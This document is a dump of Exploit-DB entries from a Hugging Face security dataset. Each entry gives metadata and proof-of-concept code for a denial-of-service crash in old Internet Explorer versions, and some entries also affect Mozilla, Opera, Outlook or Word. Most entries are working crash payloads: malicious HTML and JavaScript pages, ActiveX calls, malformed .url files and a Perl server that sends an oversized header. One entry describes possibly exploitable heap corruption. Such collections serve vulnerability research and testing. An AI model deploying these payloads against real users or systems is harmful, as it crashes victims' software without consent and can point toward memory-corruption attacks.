deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28169
Description: Microsoft Internet Explorer 5.0.1/6.0 - Structured Graphics Control Denial of Service
Type: dos
Platform: windows
Date: 2006-07-06
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18855/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because it fails to handle ActiveX controls properly.

This issue is triggered when an attacker convinces a victim user to activate a malicious ActiveX control.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
        var a = new ActiveXObject(&#039;DirectAnimation.StructuredGraphicsControl&#039;);
        a.sourceURL = &#039;CrashingBecauseStreamPtrNotInitialized&#039;;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type=&#039;button&#039; onClick=&#039;Demo()&#039; value=&#039;Start Demo!&#039;>


</body></html>
Exploit-DB #21556
Description: Microsoft Internet Explorer 5/6 - CSSText Bold Font Denial of Service
Type: dos
Platform: windows
Date: 2002-06-15
Author: Oleg A. Cheremisin

Exploit:
source: https://www.securityfocus.com/bid/5027/info

A problem with Microsoft Internet Explorer may make it possible to deny service to users of the browser. The problem is in the handling of certain types of stylesheet input.

It may be possible to crash IE. When IE encounters a style sheet with the p{cssText} element declared, and a font weight of bold is specified, the browser crashes. This could be used as a denial of service attack.


<style>p{cssText: font-weight: bold;}</style>
Exploit-DB #21416
Description: Microsoft Internet Explorer 5/6 - Recursive JavaScript Event Denial of Service
Type: dos
Platform: windows
Date: 2002-04-24
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/4583/info

An issue has been reported in some versions of Microsoft Internet Explorer. It is possible for a malicious web page using JavaScript to crash the browser process. Under Windows 95 and 98, this may impact the underlying operating system as well.

This behavior can be caused by the indirect recursive calling of an onError event which redefines an invalid source to an image tag.

<IMG src="::" onError="this.src='::';">
Exploit-DB #21404
Description: Microsoft Internet Explorer 5/6 - Self-Referential Object Denial of Service
Type: dos
Platform: windows
Date: 2002-04-20
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/4564/info

Microsoft Internet Explorer is vulnerable to a denial of service due to an error in handling certain self-referential <OBJECT> definitions in HTML documents. This occurs when an object of type "text/html" is specified, with the DATA field referencing the name of the HTML document in which it is defined. Other circumstances may also trigger this condition.

Create a file named "CRASH.HTM" with the following line in it:

<OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT>

The following example was also submitted by Ryan Emerle:

<object id="test"
data="#"
width="100%" height="100%"
type="text/x-scriptlet"
VIEWASTEXT></object>
Exploit-DB #21346
Description: Microsoft Internet Explorer 5/6 / Mozilla 0.8/0.9.x / Opera 5/6 - JavaScript Interpreter Denial of Service
Type: dos
Platform: windows
Date: 2002-03-19
Author: Patrik Birgersson

Exploit:
source: https://www.securityfocus.com/bid/4322/info

It is possible to create a loop in JavaScript which is capable of crashing various web browsers. This is due to a flaw in the JavaScript interpreter. Browsers that have been tested include Microsoft Internet Explorer, Mozilla and Opera.

It has been reported that on some environments (such as IE with Windows 2000) the error message generated by exploitation of this issue indicates that a stack overflow has occurred. It is not known whether this issue may be exploited to execute arbitrary code. 

<html>
<head>
<script language="JavaScript">
<!--
function crashme () {
var url = document.location
if (document.images) {
location.replace(url);
} else {
location.href = url;
}
crashme ()
}
-->
</script>
</head>
<body onLoad="crashme ()">
<center>
<h3>IE Javascript Crash Test</h3>
</center>
</body>
</html>
Exploit-DB #21366
Description: Microsoft Internet Explorer 5/6 / Outlook 2000/2002/5.5 / Word 2000/2002 - VBScript ActiveX Word Object Denial of Service
Type: dos
Platform: windows
Date: 2002-04-08
Author: Elia Florio

Exploit:
source: https://www.securityfocus.com/bid/4463/info

A vulnerability has been discovered which is reported to affect Microsoft Internet Explorer, Outlook and Word. Other Office components may also be affected by this issue.

It is possible to misuse VBScript ActiveX Word objects to cause a denial of service to affected software. This is accomplished by creating an excessive number of Word objects.

It should be noted that this misuse of VBScript ActiveX Word objects will cause a security warning to be displayed about the creation of an unsafe ActiveX object (depending on the security settings of the affected program). However, even if the user chooses not to proceed, the ActiveX Word object is still loaded into memory an excessive number of times. A denial of service to the whole system may be the result.

<SCRIPT LANGUAGE="VbScript">
On Error Resume Next
Dim a
Dim i
for i=1 to 100
Set a = CreateObject("Word.Application")
Next
</SCRIPT>
Exploit-DB #2039
Description: Microsoft Internet Explorer 6 - 'Content-Type' Stack Overflow Crash
Type: dos
Platform: windows
Date: 2006-07-20
Author: Firestorm

Exploit:
#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage: 
#	  1) run this code
#       2) open http://127.0.0.1/ with IE
#	     

use IO::Socket;
my $sock=new IO::Socket::INET (Listen    => 1,
                                 LocalAddr => 'localhost',
                                 LocalPort => 80,
                                 Proto     => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
	$ln=<$z>;
	print $ln;
	chomp $ln;
	
	if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
	{
		print ">sending response\n";
		print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
		close($z);
		exit;
	}
} while (true);

# milw0rm.com [2006-07-20]
Exploit-DB #28202
Description: Microsoft Internet Explorer 6 - 'HtmlDlgSafeHelper' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-07-10
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18929/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('HtmlDlgSafeHelper.HtmlDlgSafeHelper');
	a.fonts = "Goodbye!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28387
Description: Microsoft Internet Explorer 6 - 'IMSKDIC.dll' Denial of Service
Type: dos
Platform: windows
Date: 2006-08-15
Author: nop

Exploit:
source: https://www.securityfocus.com/bid/19521/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to load a DLL library when instantiated as an ActiveX control.

An attacker may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users and may cause arbitrary code to run within the context of the application.
  
  <-- /Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability
  //tested XP SP2 CN
 
  // nop (nop#xsec.org)
  // http://www.xsec.org
 
 
  // CLSID: {6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}
  // Info: Microsoft IME SingleKanjiDictionary interface
  // ProgID: IMESingleKanjiDict.8.1
  // InprocServer32: C:\WINDOWS\IME\imjp8_1\Applets\IMSKDIC.DLL
 
  --!> 
  <html> <body> 
  <object classid="CLSID:{6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}" /object> 
  </body> </html>
Exploit-DB #1856
Description: Microsoft Internet Explorer 6 - 'inetconn.dll' Stack Overflow Crash
Type: dos
Platform: windows
Date: 2006-05-31
Author: Mr.Niega

Exploit:
[DEFAULT]
BASEURL=
[InternetShortcut]
URL=mhtml://mid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/*
*
* Internet Explorer overflow Vulnerbility [Proof of concept]
* Bug discovered by Mr.Niega
* http://www.swerat.com/
*
* Affected Software: Microsoft Internet Explorer 6.x
* Severity: Unknown
* Impact: Crash
* Solution Status: Unpatched
*
* E-Mail: Mr.Niega@gmail.com
* Credits goes out to MarjinZ and Andvare
*
* Note: By right clicking on the file explorer will crash
* Note: del=crash,F2=crash Use cmd to delete file
* Remember to save the file with a .url extension.
*/

// milw0rm.com [2006-05-31]
Exploit-DB #1990
Description: Microsoft Internet Explorer 6 - 'Internet.HHCtrl' Heap Overflow
Type: dos
Platform: windows
Date: 2006-07-07
Author: H D Moore

Exploit:
<!--
http://browserfun.blogspot.com/

The following bug was tested on the latest version of Internet Explorer 6 
on a fully-patched Windows XP SP2 system. This bug is interesting because 
a small heap overflow occurs each time this property is set. The bug is difficult 
to detect unless heap verification has been enabled in the global debug flags 
for iexplore.exe. The demonstration below results in a possibly exploitable heap 
corruption after 128 or more iterations of the property set.

var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;

for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}


eax=00030288 ebx=00030000 ecx=7ffdd000
edx=00030608 esi=58585850 edi=00000022
eip=7c911f52 esp=0013afcc ebp=0013b1ec
ntdll!RtlAllocateHeap+0x31b:
7c911f52 8a4605 mov al,[esi+0x5] ds:0023:58585855=??

-->

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("Internet.HHCtrl.1");
	var b = unescape("XXXX");
	while (b.length < 256) b += b;
	
	for (var i=0; i<4096; i++) {
        	a['Image'] = b + "";
	}
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-07]
Exploit-DB #1604
Description: Microsoft Internet Explorer 6 - 'mshtml.dll checkbox' Crash
Type: dos
Platform: windows
Date: 2006-03-22
Author: Stelian Ene

Exploit:
<!--
Stelian Ene:

I can't find any info on this delicious IE bug, but it seems to be publicly known:

It will badly access a (virtual?) pointer table, making EIP to jump at a random
address. This has various effects on the system I've tested with, including
crashing. It works on these versions of mshtml.dll:
XP SP2: 6.0.2900.2802 - latest
WS2003: 6.0.3790.0
-->

<input type="checkbox" id='c'>
<script>
        r=document.getElementById("c");
        a=r.createTextRange();
</script>

# milw0rm.com [2006-03-22]
Exploit-DB #1394
Description: Microsoft Internet Explorer 6 - 'mshtml.dll div' Denial of Service
Type: dos
Platform: windows
Date: 2005-12-29
Author: rgod

Exploit:
<!--
-------------------------------------------------------------------------------------------
Internet Explorer Version 6.0.2900.2180.xpsp_sp2 mshtml.dll <div> Denial of Service exploit
by rgod

site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original poc: http://rgod.altervista.org/ie_6_sp2_crash.html
-------------------------------------------------------------------------------------------
-->
<head>
<style><!--
#page div p:first-child:first-letter {
   border-bottom: 2px ridge #F5DEB3;
}
//-->
</style>
</head>
<body><div id="page"><div><p><strong>suntzu</strong></p>

# milw0rm.com [2005-12-29]
Exploit-DB #3272
Description: Microsoft Internet Explorer 6 - 'mshtml.dll' Null Pointer Dereference
Type: dos
Platform: windows
Date: 2007-02-05
Author: AmesianX

Exploit:
<!--
+ Title: Microsoft Internet Explorer Malformed HTML Null Pointer Dereference Vulnerability (mshtml.dll) (0-day)

+ Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo Park - amesianx@gmail.com)

+ Critical: Critical
 
+ Impact: MS Internet Explorer 6 -> Crash (Denial of Service)
 
+ Where: From remote
 
+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
                                          Windows 2000 Advanced Server (Korean Language)
 
+ Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1 (Windows 2000 Advanced Server)
                            Microsoft Internet Explorer Ver.6.0.2900.2180.xpsp[PII_REDACTED];SP2 (Windows XP Pro)
 
+ Solution: Not Patched (zero-day)
 
+ Description:
  The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched
  Windows XP SP2 system. this bug will crash when executing a 'for' scripts.

+ The following proof-of-concept is also available:
  http://www.powerhacker.net/exploit/IE_NULL_CRASH.html
-->

<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@gmail.com, RC_No1@gmail.com)</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>

# milw0rm.com [2007-02-05]
Exploit-DB #1276
Description: Microsoft Internet Explorer 6 - 'mshtmled.dll' Denial of Service
Type: dos
Platform: windows
Date: 2005-10-28
Author: Tom Ferris

Exploit:
<!--

Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

Release Date:
October 24, 2005

Date Reported:
August 14, 2005

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 6.0 on Windows XP SP2

Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.

Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr[PII_REDACTED]) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.

.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j
.text:76235680 ; sub_762355EC+62 j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]

The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:

http://www.java.com/en/download/windows_automatic.jsp

-->

<META HTTP-EQUIV="Refresh" content="0;URL=http://www.milw0rm.com/exploit.php?id=1276">
<FRAMESET >
<FRAME SRC=AAAA >
<EMBED NAME=SP STYLE= >
<APPLET HSPACE=file:\\ >

<!--

Vendor Status:
Ask Microsoft.

Discovered by:
Tom Ferris

Related Links:
www.security-protocols.com/poc/sp-x20.html
www.security-protocols.com/advisory/sp-x20-advisory.txt
www.evolvesecurity.com

// commented the advisory for exploit testing /str0ke -->

# milw0rm.com [2005-10-28]
Exploit-DB #28389
Description: Microsoft Internet Explorer 6 - 'MSOE.dll' Denial of Service
Type: dos
Platform: windows
Date: 2006-08-15
Author: nop

Exploit:
source: https://www.securityfocus.com/bid/19530/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to load a DLL library when instantiated as an ActiveX control.

An attacker may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users, and may cause arbitrary code to run within the context of the application.

 <!--
 // Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability
 // tested: 2000SP4/XPSP2 CN

 // http://www.xsec.org
 // nop (nop#xsec.org)

 // CLSID: {233A9694-667E-11d1-9DFB-006097D50408}
 // Info: Outlook Express Address Book
 // ProgID: OutlookExpress.AddressBook.1
 // InprocServer32: %ProgramFiles%\Outlook Express\msoe.dll

 --!>
 <html><body>
 <object classid="CLSID:{233A9694-667E-11d1-9DFB-006097D50408}" ></object>
 </body></html>
Exploit-DB #23215
Description: Microsoft Internet Explorer 6 - Absolute Position Block Denial of Service
Type: dos
Platform: windows
Date: 2003-10-03
Author: Nick Johnson

Exploit:
source: https://www.securityfocus.com/bid/8758/info

A problem has been reported in Microsoft Internet Explorer when absolute positioning is used. Because of this, it may be possible to deny service to users of the browser. This issue may be due to memory corruption, however, it is known not at this point if it may be exploited to execute arbitrary code.

It has been reported that the exploit code for this issue may also cause Eudora to crash. This may simply be due to Internet Explorer being set to render HTML content for Eudora.

<html>
<body>
<style type="text/css">
#three {
position: absolute;
}
#one #two {
position: absolute;
}
</style>
<div id="one">
In 'one'
<span id="two">
In 'two'
</div>
<div id="three">
In 'three'
</div>
</body>
Exploit-DB #28145
Description: Microsoft Internet Explorer 6 - ADODB.Recordset Filter Property Denial of Service
Type: dos
Platform: windows
Date: 2006-07-03
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18773/info

Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object. 

A successful attack may cause the browser to fail due to a null-pointer dereference.

# Microsoft Internet Explorer ADODB.Recordset Filter Property poc

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
	a = new ActiveXObject('ADODB.Recordset');
	try { a.Filter = "AAAA" } catch(e) { }
	try { a.Filter = "BBBB" } catch(e) { }
	try { a.Filter = 0x7ffffffe; } catch(e) { }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>
Exploit-DB #28244
Description: Microsoft Internet Explorer 6 - DataSourceControl Denial of Service
Type: dos
Platform: windows
Date: 2006-07-19
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19069/info

Internet Explorer is prone to a denial-of-service vulnerability.

An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users.

Internet Explorer 6 SP2 is prone to this issue; other versions may also be vulnerable.

var a = new ActiveXObject('OWC11.DataSourceControl.11'); a.getDataMemberName(-0x80000000);
Exploit-DB #28301
Description: Microsoft Internet Explorer 6 - Deleted Frame Object Denial of Service
Type: dos
Platform: windows
Date: 2006-07-29
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19228/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demo
			// Provided by Aviv Raff
			// http://aviv.raffon.net/
			
            var orphanObject;

            function createOrphanObject() {
                orphanObject=document.frames["emptyFrame"].document.getElementById("emptyObject").object.parentWindow.document.createElement("frame");
                document.frames["emptyFrame"].location.href="about:blank";
                window.setTimeout('crashBrowser()',1);
            }

            function crashBrowser() {
                orphanObject.frameBorder="whateveryoulike";
            }

            function insertEmptyObject() {
                return '<OBJECT id="emptyObject" data="nonexist.html" type="text/html"></OBJECT>';
            }
        
        
        <iframe id="emptyFrame" src="javascript:parent.insertEmptyObject()" style="display:none"></iframe>
        
        Clicking the button below may crash your browser!<br><br>
        <input type='button' onClick='createOrphanObject()' value='Start Demo!'>